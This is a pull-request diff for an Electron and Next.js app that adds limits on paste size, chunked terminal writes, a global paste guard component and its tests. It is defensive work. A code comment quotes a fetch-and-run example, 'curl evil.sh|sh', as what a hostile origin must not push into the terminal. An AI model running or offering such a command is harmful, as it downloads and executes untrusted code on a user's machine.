Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
23 changes: 23 additions & 0 deletions apps/desktop/src/main/ipc.test.ts
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
import { readFileSync } from 'node:fs'
import { fileURLToPath } from 'node:url'
import { PASTE_LIMITS } from '@sim/utils/paste'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'

vi.mock('electron', () => import('@/test/electron-mock'))
Expand Down Expand Up @@ -1695,6 +1696,28 @@ describe('registerIpcHandlers', () => {
expect(write).not.toHaveBeenCalled()
})

it('rejects an oversized terminal paste before writing to the PTY', async () => {
const { invoke } = collectHandlers()
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
vi.mocked(clipboard.readText).mockReturnValue('x'.repeat(PASTE_LIMITS.TERMINAL_BYTES + 1))

await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe(
'too-large'
)
expect(write).not.toHaveBeenCalled()
})

it('writes an admitted terminal paste in bounded chunks', async () => {
const { invoke } = collectHandlers()
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
const text = 'x'.repeat(70 * 1024)
vi.mocked(clipboard.readText).mockReturnValue(text)

await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe(true)
expect(write).toHaveBeenCalledTimes(2)
expect(write.mock.calls.map((call) => call[2]).join('')).toBe(text)
})

it('gates a command smuggled inside a fake OSC or DCS reply', () => {
const { on } = collectHandlers()
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
Expand Down
26 changes: 24 additions & 2 deletions apps/desktop/src/main/ipc.ts
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,7 @@ import {
} from '@sim/terminal-protocol'
import { getErrorMessage } from '@sim/utils/errors'
import { isRecordLike } from '@sim/utils/object'
import { PASTE_LIMITS, utf8ByteLength } from '@sim/utils/paste'
import type { BrowserWindow, IpcMainEvent, IpcMainInvokeEvent, WebContents } from 'electron'
import { clipboard, ipcMain, shell } from 'electron'
import {
Expand Down Expand Up @@ -90,6 +91,23 @@ const logger = createLogger('DesktopIpc')

/** Workspace/chat ids are opaque tokens; anything else never reaches a URL. */
const ID_PATTERN = /^[A-Za-z0-9_-]{1,128}$/
const TERMINAL_WRITE_CHUNK_CHARACTERS = 64 * 1024

function writeTerminalText(
terminal: TerminalRegistry,
scope: string,
terminalId: string,
text: string
): void {
let start = 0
while (start < text.length) {
let end = Math.min(start + TERMINAL_WRITE_CHUNK_CHARACTERS, text.length)
const finalCode = text.charCodeAt(end - 1)
if (end < text.length && finalCode >= 0xd800 && finalCode <= 0xdbff) end -= 1
terminal.write(scope, terminalId, text.slice(start, end))
start = end
}
}

const MICROPHONE_SETTINGS_URLS: Partial<Record<NodeJS.Platform, string>> = {
darwin: 'x-apple.systempreferences:com.apple.preference.security?Privacy_Microphone',
Expand Down Expand Up @@ -1546,7 +1564,10 @@ export function registerIpcHandlers(deps: IpcDeps): void {
if (!scope || typeof terminalId !== 'string') return false
const text = clipboard.readText()
if (!text) return false
deps.terminal.write(scope, terminalId, text)
if (utf8ByteLength(text, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) {
return 'too-large'
}
writeTerminalText(deps.terminal, scope, terminalId, text)
return true
},
},
Expand Down Expand Up @@ -1735,7 +1756,8 @@ export function registerIpcHandlers(deps: IpcDeps): void {
handler: (sender, terminalId, data, rawScope) => {
const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope)
if (!scope || typeof terminalId !== 'string' || typeof data !== 'string') return
deps.terminal.write(scope, terminalId, data)
if (utf8ByteLength(data, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) return
writeTerminalText(deps.terminal, scope, terminalId, data)
},
// An XSS'd or hostile origin must not reach `write(id, 'curl evil.sh|sh\r')`.
// Panel focus is deliberately not used — `terminal:focused` is a
Expand Down
2 changes: 1 addition & 1 deletion apps/desktop/src/preload/index.ts
Original file line number Diff line number Diff line change
Expand Up @@ -456,7 +456,7 @@ const api: SimDesktopApi = {
write: (terminalId: string, data: string, scopeId: string): void => {
ipcRenderer.send('terminal:write', terminalId, data, scopeId)
},
paste: (terminalId: string, scopeId: string): Promise<boolean> =>
paste: (terminalId: string, scopeId: string) =>
ipcRenderer.invoke('terminal:paste', terminalId, scopeId),
resize: (terminalId: string, cols: number, rows: number, scopeId: string): void => {
ipcRenderer.send('terminal:resize', terminalId, cols, rows, scopeId)
Expand Down
7 changes: 5 additions & 2 deletions apps/realtime/src/config/socket.ts
Original file line number Diff line number Diff line change
Expand Up @@ -11,8 +11,11 @@ const logger = createLogger('SocketIOConfig')
const PING_TIMEOUT_MS = 60000
/** Socket.IO ping interval - how often to send ping packets */
const PING_INTERVAL_MS = 25000
/** Maximum HTTP buffer size for Socket.IO messages */
const MAX_HTTP_BUFFER_SIZE = 1e6
/**
* Accommodates the existing 5 MiB collaborative-document boundary plus Yjs and Socket.IO framing.
* This remains a transport safety hatch, not a product-sized text limit.
*/
const MAX_HTTP_BUFFER_SIZE = 8 * 1024 * 1024

let adapterPubClient: RedisClientType | null = null
let adapterSubClient: RedisClientType | null = null
Expand Down
110 changes: 110 additions & 0 deletions apps/sim/app/_shell/paste-admission-guard.test.tsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,110 @@
/**
* @vitest-environment jsdom
*/
import { act } from 'react'
import { createRoot, type Root } from 'react-dom/client'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'

const { warning } = vi.hoisted(() => ({ warning: vi.fn() }))

vi.mock('@sim/emcn', () => ({
useToast: () => ({ toast: { warning } }),
}))

import { SIM_SELECTION_MIME } from '@/lib/copilot/chat/selection-clipboard'
import { PasteAdmissionGuard } from '@/app/_shell/paste-admission-guard'

let host: HTMLDivElement
let root: Root

function dispatchPaste(target: Element, text: string, selectionContext?: string): Event {
const event = new Event('paste', {
bubbles: true,
cancelable: true,
composed: true,
})
Object.defineProperty(event, 'clipboardData', {
value: {
getData: (type: string) => {
if (type === 'text/plain') return text
if (type === SIM_SELECTION_MIME) return selectionContext ?? ''
return ''
},
},
})
target.dispatchEvent(event)
return event
}

beforeEach(() => {
host = document.createElement('div')
document.body.appendChild(host)
root = createRoot(host)
act(() => root.render(<PasteAdmissionGuard />))
})

afterEach(() => {
act(() => root.unmount())
host.remove()
vi.clearAllMocks()
})

describe('PasteAdmissionGuard', () => {
it('rejects an oversized native paste before the target handler runs', () => {
const input = document.createElement('textarea')
input.dataset.pasteMaxBytes = '4'
host.appendChild(input)
const targetHandler = vi.fn()
input.addEventListener('paste', targetHandler)

const event = dispatchPaste(input, '12345')

expect(event.defaultPrevented).toBe(true)
expect(targetHandler).not.toHaveBeenCalled()
expect(warning).toHaveBeenCalledOnce()
})

it('does not reject a small payload because the existing native value is large', () => {
const input = document.createElement('textarea')
input.dataset.pasteMaxBytes = '6'
input.value = '123456'
host.appendChild(input)

input.setSelectionRange(6, 6)
expect(dispatchPaste(input, 'a').defaultPrevented).toBe(false)
})

it('honors a surface-specific character contract', () => {
const input = document.createElement('textarea')
input.dataset.pasteMaxBytes = '100'
input.dataset.pasteMaxCharacters = '2'
host.appendChild(input)

expect(dispatchPaste(input, '💡💡').defaultPrevented).toBe(true)
})

it('does not reject a small payload because contenteditable text is already large', () => {
const editable = document.createElement('div')
editable.contentEditable = 'true'
editable.dataset.pasteMaxBytes = '6'
editable.textContent = '123456'
host.appendChild(editable)

expect(dispatchPaste(editable, 'a').defaultPrevented).toBe(false)
})

it('lets a compact Sim selection reference bypass its large plain-text representation', () => {
const input = document.createElement('textarea')
input.dataset.pasteMaxBytes = '4'
host.appendChild(input)
const selectionContext = JSON.stringify({
kind: 'table_selection',
tableId: 'table-1',
tableName: 'Large table',
rowIds: ['row-1'],
label: 'Large table (1 row)',
})

expect(dispatchPaste(input, '12345', selectionContext).defaultPrevented).toBe(false)
})
})
71 changes: 71 additions & 0 deletions apps/sim/app/_shell/paste-admission-guard.tsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,71 @@
'use client'

import { useEffect, useRef } from 'react'
import { useToast } from '@sim/emcn'
import { assessTextPaste, formatPasteLimit, PASTE_LIMITS } from '@sim/utils/paste'
import { readSelectionContextFromClipboard } from '@/lib/copilot/chat/selection-clipboard'

const EDITABLE_TARGET_SELECTOR =
'input:not([type="file"]):not([type="checkbox"]):not([type="radio"]):not([type="button"]):not([type="submit"]):not([type="hidden"]), textarea, [contenteditable]:not([contenteditable="false"]), .monaco-editor, .xterm'

function finitePositiveAttribute(element: Element | null, name: string): number | undefined {
const raw = element?.getAttribute(name)
if (!raw) return undefined
const value = Number(raw)
return Number.isFinite(value) && value > 0 ? value : undefined
}

/**
* Last-resort admission for every editable workspace surface. Specialized editors publish their
* downstream ceiling on an ancestor with `data-paste-max-bytes`; controls without one inherit a
* crash-only fallback. This layer bounds only the clipboard payload, so a small paste into an already
* large field keeps native behavior. Editors with a real result-size contract enforce it themselves.
* The capture listener runs before React, ProseMirror, Monaco, and xterm parse the clipboard value.
*/
export function PasteAdmissionGuard() {
const { toast: notify } = useToast()
const notifyRef = useRef(notify)
notifyRef.current = notify

useEffect(() => {
const handlePaste = (event: ClipboardEvent) => {
if (!(event.target instanceof Element) || !event.target.closest(EDITABLE_TARGET_SELECTOR)) {
return
}

if (readSelectionContextFromClipboard(event.clipboardData)) return

const text = event.clipboardData?.getData('text/plain') ?? ''
if (!text) return

const policyElement = event.target.closest('[data-paste-max-bytes]')
const maxPastedBytes =
finitePositiveAttribute(policyElement, 'data-paste-max-bytes') ?? PASTE_LIMITS.DEFAULT_BYTES
const maxPastedCharacters = finitePositiveAttribute(
policyElement,
'data-paste-max-characters'
)
const admission = assessTextPaste({
pastedText: text,
maxPastedBytes,
maxPastedCharacters,
})
if (admission.accepted) return

event.preventDefault()
event.stopImmediatePropagation()
const limit =
admission.reason === 'pasted-characters'
? `${admission.limit.toLocaleString()} characters`
: formatPasteLimit(admission.limit)
notifyRef.current.warning('Paste is too large for this editor', {
description: `The clipboard content was left unchanged. This editor supports up to ${limit}.`,
})
}

document.addEventListener('paste', handlePaste, true)
return () => document.removeEventListener('paste', handlePaste, true)
}, [])

return null
}
14 changes: 6 additions & 8 deletions apps/sim/app/credential-groups/enroll/[token]/page.tsx
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
import { type ReactNode, Suspense } from 'react'
import { Chip, ToastProvider } from '@sim/emcn'
import { Chip } from '@sim/emcn'
import type { Metadata } from 'next'
import { headers } from 'next/headers'
import { asOrchestrationError } from '@/lib/core/orchestration/types'
Expand Down Expand Up @@ -35,13 +35,11 @@ interface PageShellProps {

function PageShell({ children }: PageShellProps) {
return (
<ToastProvider>
<LogoShell footer={<SupportFooter position='static' />}>
<div className='mx-auto flex w-full max-w-[640px] flex-1 flex-col px-5 pt-16 pb-20 max-sm:pt-10'>
{children}
</div>
</LogoShell>
</ToastProvider>
<LogoShell footer={<SupportFooter position='static' />}>
<div className='mx-auto flex w-full max-w-[640px] flex-1 flex-col px-5 pt-16 pb-20 max-sm:pt-10'>
{children}
</div>
</LogoShell>
)
}

Expand Down
27 changes: 16 additions & 11 deletions apps/sim/app/layout.tsx
Original file line number Diff line number Diff line change
@@ -1,8 +1,10 @@
import { ToastProvider } from '@sim/emcn'
import type { Metadata, Viewport } from 'next'
import Script from 'next/script'
import { PublicEnvScript as RuntimePublicEnvScript } from 'next-runtime-env'
import { NuqsAdapter } from 'nuqs/adapters/next/app'
import { BrandedLayout } from '@/components/branded-layout'
import { PasteAdmissionGuard } from '@/app/_shell/paste-admission-guard'
import { PostHogProvider } from '@/app/_shell/providers/posthog-provider'
import { generateBrandedMetadata, generateThemeCSS } from '@/ee/whitelabeling'
import '@/app/_styles/globals.css'
Expand Down Expand Up @@ -36,17 +38,20 @@ export const metadata: Metadata = generateBrandedMetadata()
export default function RootLayout({ children }: { children: React.ReactNode }) {
const themeCSS = generateThemeCSS()
const application = (
<PostHogProvider consentRequired={isHosted}>
<ThemeProvider>
<QueryProvider>
<SessionProvider>
<TooltipProvider>
<BrandedLayout>{children}</BrandedLayout>
</TooltipProvider>
</SessionProvider>
</QueryProvider>
</ThemeProvider>
</PostHogProvider>
<ToastProvider>
<PasteAdmissionGuard />
<PostHogProvider consentRequired={isHosted}>
<ThemeProvider>
<QueryProvider>
<SessionProvider>
<TooltipProvider>
<BrandedLayout>{children}</BrandedLayout>
</TooltipProvider>
</SessionProvider>
</QueryProvider>
</ThemeProvider>
</PostHogProvider>
</ToastProvider>
)

return (
Expand Down
5 changes: 2 additions & 3 deletions apps/sim/app/playground/page.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -74,7 +74,6 @@ import {
type TagItem,
Textarea,
TimePicker,
ToastProvider,
Tooltip,
Trash,
toast,
Expand Down Expand Up @@ -163,7 +162,7 @@ export default function PlaygroundPage() {
}

return (
<ToastProvider>
<>
<Tooltip.Provider>
<div className='relative min-h-screen bg-[var(--bg)] p-8'>
<div className='absolute top-8 left-8 flex items-center gap-2'>
Expand Down Expand Up @@ -1066,6 +1065,6 @@ export default function PlaygroundPage() {
</div>
</div>
</Tooltip.Provider>
</ToastProvider>
</>
)
}
Loading
Loading